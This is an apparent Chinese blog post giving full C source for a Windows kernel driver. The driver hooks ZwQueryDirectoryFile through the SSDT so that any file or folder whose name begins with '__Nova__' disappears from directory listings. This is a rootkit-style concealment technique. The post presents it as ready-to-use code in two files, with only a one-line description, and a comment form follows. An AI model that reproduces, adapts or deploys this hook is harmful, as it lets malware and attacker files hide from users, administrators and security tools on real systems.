一个隐藏文件的驱动程序源代码

 这个驱动被加载后能够自动隐藏所有以“__Nova__”开头的文件和文件夹。

Hidefile.h 文件

C++代码
  1. #include "ntddk.h"   
  2. #include <windef.h>   
  3.   
  4. #pragma pack(1) //SSDT Table   
  5. typedef struct ServiceDescriptorEntry {   
  6.     unsigned int *ServiceTableBase;   
  7.     unsigned int *ServiceCounterTableBase; //仅适用于checked build版本   
  8.     unsigned int NumberOfServices;   
  9.     unsigned char *ParamTableBase;   
  10. } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;   
  11. #pragma pack()   
  12.   
  13. __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;   
  14.   
  15. //获得SSDT基址宏   
  16. #define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]   
  17.   
  18. NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath);   
  19. VOID Unload(IN PDRIVER_OBJECT  DriverObject);   
  20.   
  21. //取代的新函数   
  22. NTSTATUS NTAPI NewZwQueryDirectoryFile(   
  23.   IN HANDLE               FileHandle,   
  24.   IN HANDLE               Event OPTIONAL,   
  25.   IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,   
  26.   IN PVOID                ApcContext OPTIONAL,   
  27.   OUT PIO_STATUS_BLOCK    IoStatusBlock,   
  28.   OUT PVOID               FileInformation,   
  29.   IN ULONG                Length,   
  30.   IN FILE_INFORMATION_CLASS FileInformationClass,   
  31.   IN BOOLEAN              ReturnSingleEntry,   
  32.   IN PUNICODE_STRING      FileMask OPTIONAL,   
  33.   IN BOOLEAN              RestartScan );   
  34.   
  35. //API 声明   
  36. NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(   
  37.   IN HANDLE               FileHandle,   
  38.   IN HANDLE               Event OPTIONAL,   
  39.   IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,   
  40.   IN PVOID                ApcContext OPTIONAL,   
  41.   OUT PIO_STATUS_BLOCK    IoStatusBlock,   
  42.   OUT PVOID               FileInformation,   
  43.   IN ULONG                Length,   
  44.   IN FILE_INFORMATION_CLASS FileInformationClass,   
  45.   IN BOOLEAN              ReturnSingleEntry,   
  46.   IN PUNICODE_STRING      FileMask OPTIONAL,   
  47.   IN BOOLEAN              RestartScan );   
  48.   
  49. typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(   
  50.   IN HANDLE               FileHandle,   
  51.   IN HANDLE               Event OPTIONAL,   
  52.   IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,   
  53.   IN PVOID                ApcContext OPTIONAL,   
  54.   OUT PIO_STATUS_BLOCK    IoStatusBlock,   
  55.   OUT PVOID               FileInformation,   
  56.   IN ULONG                Length,   
  57.   IN FILE_INFORMATION_CLASS FileInformationClass,   
  58.   IN BOOLEAN              ReturnSingleEntry,   
  59.   IN PUNICODE_STRING      FileMask OPTIONAL,   
  60.   IN BOOLEAN              RestartScan );   
  61.   
  62. typedef struct _FILE_BOTH_DIR_INFORMATION {   
  63.     ULONG NextEntryOffset;   
  64.     ULONG FileIndex;   
  65.     LARGE_INTEGER CreationTime;   
  66.     LARGE_INTEGER LastAccessTime;   
  67.     LARGE_INTEGER LastWriteTime;   
  68.     LARGE_INTEGER ChangeTime;   
  69.     LARGE_INTEGER EndOfFile;   
  70.     LARGE_INTEGER AllocationSize;   
  71.     ULONG FileAttributes;   
  72.     ULONG FileNameLength;   
  73.     ULONG EaSize;   
  74.     CCHAR ShortNameLength;   
  75.     WCHAR ShortName[12];   
  76.     WCHAR FileName[1];   
  77. } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;   
  78.   
  79. //源地址   
  80. ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;  

Hidefile.c 文件

 

C++代码
  1. #include "Hidefile.h"   
  2.   
  3. NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath)   
  4. {   
  5.     NTSTATUS ntStatus = STATUS_SUCCESS;   
  6.   
  7.     DriverObject->DriverUnload = Unload;   
  8.   
  9.     KdPrint(("Driver Entry Called!\n"));   
  10.   
  11.     KdPrint(("OldAddress:0x%X\tNewAddress:0x%X\n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));   
  12.     OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);   
  13.     (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;   
  14.   
  15.     return ntStatus;   
  16. }   
  17.   
  18. VOID Unload(IN PDRIVER_OBJECT  DriverObject)   
  19. {   
  20.     KdPrint(("Driver Unload Called!\n"));   
  21.     (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;   
  22.     KdPrint(("Address:0x%X\n",SYSTEMSERVICE(ZwQueryDirectoryFile)));   
  23.     return;   
  24. }   
  25.   
  26. NTSTATUS NTAPI NewZwQueryDirectoryFile(   
  27.   IN HANDLE               FileHandle,   
  28.   IN HANDLE               Event OPTIONAL,   
  29.   IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,   
  30.   IN PVOID                ApcContext OPTIONAL,   
  31.   OUT PIO_STATUS_BLOCK    IoStatusBlock,   
  32.   OUT PVOID               FileInformation,   
  33.   IN ULONG                Length,   
  34.   IN FILE_INFORMATION_CLASS FileInformationClass,   
  35.   IN BOOLEAN              ReturnSingleEntry,   
  36.   IN PUNICODE_STRING      FileMask OPTIONAL,   
  37.   IN BOOLEAN              RestartScan )   
  38. {   
  39.     NTSTATUS ntStatus = OldZwQueryDirectoryFile(   
  40.         FileHandle,   
  41.         Event,   
  42.         ApcRoutine,   
  43.         ApcContext,   
  44.         IoStatusBlock,   
  45.         FileInformation,   
  46.         Length,   
  47.         FileInformationClass,   
  48.         ReturnSingleEntry,   
  49.         FileMask,   
  50.         RestartScan);   
  51.   
  52.     if(NT_SUCCESS(ntStatus) && (FileInformationClass == FileBothDirectoryInformation))   
  53.     {   
  54.         PVOID p = FileInformation;   
  55.         PVOID pLast = NULL;   
  56.         DWORD pLastOne = 0;   
  57.         //KdPrint(("<--------\n"));   
  58.         do{   
  59.             pLastOne = ((PFILE_BOTH_DIR_INFORMATION)p)->NextEntryOffset;   
  60.             //KdPrint(("[*]Last:0x%x\tCurrent:0x%x\tpLastOne:%ld\n",pLast,p,pLastOne));   
  61.                
  62.             if(RtlCompareMemory((PVOID)&((PFILE_BOTH_DIR_INFORMATION)p)->FileName[0], L"__Nova__", 16 ) == 16 )   
  63.             {   
  64.                 KdPrint(("[-]Hide.....\n"));   
  65.                 if(pLastOne == 0)   
  66.                 {   
  67.                     if (p == FileInformation)   
  68.                         ntStatus = STATUS_NO_MORE_FILES;   
  69.                     else  
  70.                         ((PFILE_BOTH_DIR_INFORMATION)p)->NextEntryOffset = 0;   
  71.                     break;   
  72.                 }   
  73.                 else  
  74.                 {   
  75.                     int iPos = ((ULONG)p) - (ULONG)FileInformation;   
  76.                     int iLeft = (DWORD)Length - iPos - pLastOne;   
  77.                     RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);   
  78.                     KdPrint(("iPos:%ld\tLength:%ld\tiLeft:%ld\t,NextOffset:%ld\tpLastOne:%ld\tCurrent:0x%x\n",iPos,Length,iLeft,((PFILE_BOTH_DIR_INFORMATION)p)->NextEntryOffset,pLastOne,p));   
  79.                     continue;   
  80.                 }   
  81.             }   
  82.             pLast = p;   
  83.             p = ((char*)p + ((PFILE_BOTH_DIR_INFORMATION)p)->NextEntryOffset);   
  84.         }while (pLastOne != 0);   
  85.         //KdPrint(("-------->\n"));   
  86.     }   
  87.   
  88.     return ntStatus;   
  89. }  
相关文章
465条评论

留下评论

电子邮件地址不会被公开。 必填项已用*标注